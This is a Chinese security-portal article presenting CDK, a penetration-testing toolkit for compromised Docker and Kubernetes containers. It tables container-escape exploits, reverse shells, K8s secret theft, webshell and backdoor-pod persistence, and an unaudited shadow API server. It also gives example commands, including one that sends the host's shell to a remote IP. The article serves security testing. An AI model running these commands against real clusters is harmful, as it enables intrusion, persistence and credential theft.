freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CDK:一款针对容器场景的渗透工具
2021-01-20 18:24:59

CDK

png

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。

场景介绍

伴随着容器技术的快速发展,容器安全问题也逐渐成为企业所关注的话题。针对容器场景的渗透测试一方面要求攻击者理解对Docker/K8s以及云服务的原理、特性以及漏洞利用方式;另一方面,攻击者通过业务漏洞(如WEB RCE)攻入容器后往往面对的是一个缩减后的容器环境,缺乏常用的linux命令依赖导致渗透效率不佳。

CDK为安全测试人员提供了golang原生的容器环境渗透能力,主要有以下几点:

  • 评估容器内部弱点、搜集敏感信息。

  • 提供多种容器逃逸的漏洞利用方式。

  • 提供K8s环境的多种持久化、横向移动方式。

  • 提供原生的进程、网络命令,便于测试者自定义攻击操作。

功能

CDK包括三个功能模块

  • Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。

  • Exploit: 提供容器逃逸、持久化、横向移动等利用方式。

  • Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。

Evaluate 模块

用于本地信息收集,寻找可用的逃逸点,使用--full参数时会包含本地文件扫描。

类别检测点已支持详细文档
本地信息收集OS基本信息link
本地信息收集可用的Capabilitieslink
本地信息收集可用的Linux命令link
本地信息收集挂载情况link
本地信息收集网络namespace隔离情况link
本地信息收集环境变量link
本地信息收集敏感服务link
本地信息收集敏感目录及文件link
本地信息收集kube-proxy边界绕过(CVE-2020-8558)
网络探测K8s Api-server信息link
网络探测K8s Service-account信息link
网络探测云厂商Metadata APIlink

Exploit 模块

执行指定的exp。

类别功能调用名已支持文档
容器逃逸docker-runc CVE-2019-5736runc-pwn
容器逃逸containerd-shim CVE-2020-15257shim-pwnlink
容器逃逸docker.sock逃逸PoC(docker-in-docker)docker-sock-checklink
容器逃逸docker.sock部署恶意镜像docker-sock-deploylink
容器逃逸挂载逃逸(特权容器)mount-disklink
容器逃逸Cgroup逃逸(特权容器)mount-cgrouplink
容器逃逸Procfs目录挂载逃逸mount-procfslink
容器逃逸Ptrace逃逸PoCcheck-ptracelink
网络探测K8s组件探测service-probelink
信息收集检查和获取Istio元信息istio-checklink
远程控制反弹shellreverse-shelllink
信息窃取扫描AK及API认证凭据ak-leakagelink
信息窃取窃取K8s Secretsk8s-secret-dumplink
信息窃取窃取K8s Configk8s-configmap-dumplink
持久化部署WebShellwebshell-deploylink
持久化部署后门Podk8s-backdoor-daemonsetlink
持久化部署影子K8s api-serverk8s-shadow-apiserverlink
持久化K8s MITM攻击(CVE-2020-8554)k8s-mitm-clusteriplink
持久化部署K8s CronJobk8s-cronjoblink

Tool 模块

还原部分常用的Linux命令,解决容器环境缩减的问题。

子命令描述已支持文档
ncTCP隧道link
ps获取进程信息link
ifconfig获取网络信息link
vi文本编辑link
kcurl发包到K8s api-serverlink
ucurl发包到Docker Unix Socketlink
probeIP/端口扫描link

使用方法

下载可执行文件投递到已攻入的容器内部开始测试:

  • https://github.com/cdk-team/CDK/releases/

命令行参数:

Container DucK
Zero-dependency docker/k8s penetration toolkit by <i@cdxy.me>
Find tutorial, configuration and use-case in https://github.com/Xyntax/CDK/wiki

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weekness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/Xyntax/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl	(get|post) <url> <data>             Make request to K8s api-server.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.

工具演示

评估容器弱点

cdk evaluate --full

png

containerd-shim(CVE-2020-15257)漏洞逃逸

通过共享的net namespace向宿主机的containerd-shim进程发起请求,利用其特性反弹宿主机的shell到远端服务器。

./cdk run shim-pwn 47.104.151.168 111

docker.sock漏洞逃逸

通过本地docker.sock向控制宿主机的docker进程,拉取指定的后门镜像并运行,运行过程中镜像将宿主机的根目录/挂载到容器内部的/host目录下,便于通过后门容器修改宿主机本地文件(如crontab)来完成逃逸。

# deploy image from dockerhub
./cdk run docker-sock-deploy /var/run/docker.sock alpine:latest

# deploy image from user image registry
./cdk run docker-sock-deploy registry.cn-shanghai.aliyuncs.com/sandboxed-container/cve-2019-5736:change_root_pwd

g

部署K8s shadow apiserver

向K8s集群中部署一个shadow apiserver,该apiserver具有和集群中现存的apiserver一致的功能,同时开启了全部K8s管理权限,接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。

./cdk run k8s-shadow-apiserver default

png

项目地址

  • https://github.com/cdk-team/CDK/

# 渗透测试 # Docker # 工具介绍 # 容器安全 # Kubernetes
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录